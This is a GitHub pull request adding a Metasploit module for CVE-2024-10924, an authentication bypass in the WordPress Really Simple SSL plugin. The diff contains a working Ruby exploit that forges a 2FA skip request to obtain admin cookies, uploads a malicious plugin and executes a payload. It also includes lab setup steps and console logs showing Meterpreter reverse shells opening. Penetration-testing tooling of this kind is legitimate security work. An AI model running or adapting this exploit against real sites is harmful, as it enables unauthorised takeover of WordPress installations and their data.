Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WordPress Really Simple Security Plugin Authentication Bypass to RCE (CVE-2024-10924) #19661

Open
wants to merge 5 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -65,3 +65,4 @@ hash-form
give
ultimate-member
wp-fastest-cache
really-simple-ssl
Original file line number Diff line number Diff line change
@@ -0,0 +1,169 @@
## Vulnerable Application

The vulnerability affects the **Really Simple SSL** plugin, version **9.1.1** and below, allowing an **authentication bypass** attack.
This can be leveraged to bypass 2FA with specified `user_id` and gain full control of the WordPress instance.

### Pre-requisites:
- **Docker** and **Docker Compose** installed on your system.


### Setup Instructions

1. **Download the Docker Compose file**:
Below is the content of the **docker-compose.yml** file to set up WordPress with the vulnerable plugin and a MySQL database.

```yaml
version: '3.1'

services:
wordpress:
image: wordpress:latest
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
mem_limit: 512m
volumes:
- wordpress:/var/www/html
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini

db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql

volumes:
wordpress:
db:
```

2. **Add custom PHP configuration**:
- Create a file named `custom.ini` in the same directory as `docker-compose.yml` with the following content:

```ini
upload_max_filesize = 64M
post_max_size = 64M
```

3. **Start the Docker environment**:
- In the directory where you saved the `docker-compose.yml` file, run the following command to start the services:

```bash
docker-compose up -d
```

4. **Install and activate the plugin**:
- Download the vulnerable version of **Really Simple SSL**:
```bash
wget https://downloads.wordpress.org/plugin/really-simple-ssl.9.1.1.zip
```
- Extract the plugin:
```bash
unzip really-simple-ssl.9.1.1.zip
```
- Copy the plugin files to the WordPress container:
```bash
docker cp really-simple-ssl wordpress:/var/www/html/wp-content/plugins/
```
- Navigate to `http://localhost:5555/wp-admin` in your browser and activate the plugin in the WordPress admin panel.

5. **Enable Two-Factor Authentication**:
- Go to **Settings > Really Simple Security**.
- Activate **Two-Factor Authentication**.


## Verification Steps

1. **Set up WordPress** with the vulnerable **Really Simple SSL** plugin.
2. **Start Metasploit** using the command `msfconsole`.
3. Use the correct module for the vulnerability:

```bash
use exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce
```

4. Set the target's IP and URI:

```bash
set RHOSTS <target_ip>
set TARGETURI /
```

5. **Run the module**:

```bash
run
```

6. **Verify the Authentication Bypass**:
- After running the module, the payload will bypass Two-Factor Authentication and attempt to create a new administrator.

## Options

### USERID

The user ID to target for 2FA bypass (default: 1)

## Scenarios

### Example 1: PHP Meterpreter (ARCH_PHP)

```bash
msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555

[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected vulnerable plugin slug: really-simple-ssl
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
[*] 2FA bypass successful. Uploading plugin...
[*] Executing the payload at /wp-content/plugins/wp_1ftvf/ajax_pottw.php...
[*] Sending stage (40004 bytes) to 172.18.0.3
[+] Deleted ajax_pottw.php
[+] Deleted wp_1ftvf.php
[+] Deleted ../wp_1ftvf
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:37730) at 2024-11-18 20:07:17 +0100

meterpreter > sysinfo
Computer : a8dddfbbb9e2
OS : Linux a8dddfbbb9e2 5.15.0-125-generic #135-Ubuntu SMP Fri Sep 27 13:53:58 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter >
```

### Example 2: Linux Command Shell (ARCH_CMD)

```bash
msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555

[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected vulnerable plugin slug: really-simple-ssl
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
[*] 2FA bypass successful. Uploading plugin...
[*] Executing the payload at /wp-content/plugins/wp_3wbfa/ajax_gjreh.php...
[*] Sending stage (3045380 bytes) to 172.18.0.3
[+] Deleted ajax_gjreh.php
[+] Deleted wp_3wbfa.php
[+] Deleted ../wp_3wbfa
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50344) at 2024-11-18 20:12:00 +0100

meterpreter > sysinfo
Computer : 172.18.0.3
OS : Debian 11.8 (Linux 5.15.0-125-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
174 changes: 174 additions & 0 deletions modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,174 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress

prepend Msf::Exploit::Remote::AutoCheck

class WordPressNotOnline < StandardError; end
class AdminCookieError < StandardError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Really Simple SSL Plugin Authentication Bypass to RCE',
'Description' => %q{
This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin
(versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and
uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable,
2FA must be enabled on the target site; otherwise, the exploit will not work.
},
'Author' => [
'Valentin Lobstein', # Metasploit module
'István Márton' # Vulnerability discovery
],
'References' => [
['CVE', '2024-10924'],
['URL', 'https://github.com/RandomRobbieBF/CVE-2024-10924'],
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => %w[unix linux win php],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix In-Memory',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-11-14',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptInt.new('USER_ID', [true, 'The user ID to target for 2FA bypass', 1])
]
)
end

def check
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?

print_status("WordPress Version: #{wordpress_version}") if wordpress_version

%w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug|
case check_plugin_version_from_readme(slug, '9.1.2', '9.0.0').code
when 'appears'
print_good("Detected vulnerable plugin slug: #{slug}")
return CheckCode::Appears("Plugin #{slug} appears to be vulnerable.")
when 'safe'
print_status("Plugin #{slug} is patched or not vulnerable.")
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
when 'unknown'
print_status("Plugin #{slug} could not be verified or is not installed.")
end
end

CheckCode::Safe('None of the detected plugins are vulnerable.')
end

def exploit
admin_cookie = bypass_2fa
raise AdminCookieError, 'Failed to retrieve admin cookie' unless admin_cookie

print_status('2FA bypass successful. Uploading plugin...')
upload_and_execute_payload(admin_cookie)
rescue WordPressNotOnline => e
fail_with(Failure::Unreachable, "Target WordPress site is unreachable: #{e.message}")
rescue AdminCookieError => e
fail_with(Failure::UnexpectedReply, "Failed to bypass 2FA: #{e.message}")
rescue StandardError => e
fail_with(Failure::Unknown, "An unexpected error occurred: #{e.message}")
end

def bypass_2fa
user_id = datastore['USER_ID']
login_nonce = Rex::Text.rand_text_numeric(10)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'reallysimplessl', 'v1', 'two_fa', 'skip_onboarding'),
'ctype' => 'application/json',
'data' => {
'user_id' => user_id,
'login_nonce' => login_nonce,
'redirect_to' => '/wp-admin/'
}.to_json
})

raise WordPressNotOnline, 'No response from the target' unless res

case res.code
when 404
fail_with(Failure::NotVulnerable, 'Two-Factor Authentication (2FA) is not enabled or the plugin is misconfigured.')
when 200
return extract_cookies(res.get_cookies) if res.get_cookies
else
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}.")
end

fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookies.')
end

def extract_cookies(cookie_header)
match = cookie_header.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)
return match[1] if match

nil
end

def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"

payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)

uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin') unless uploaded

print_status("Executing the payload at #{payload_uri}...")

register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({
'uri' => payload_uri,
'method' => 'GET'
})
end
end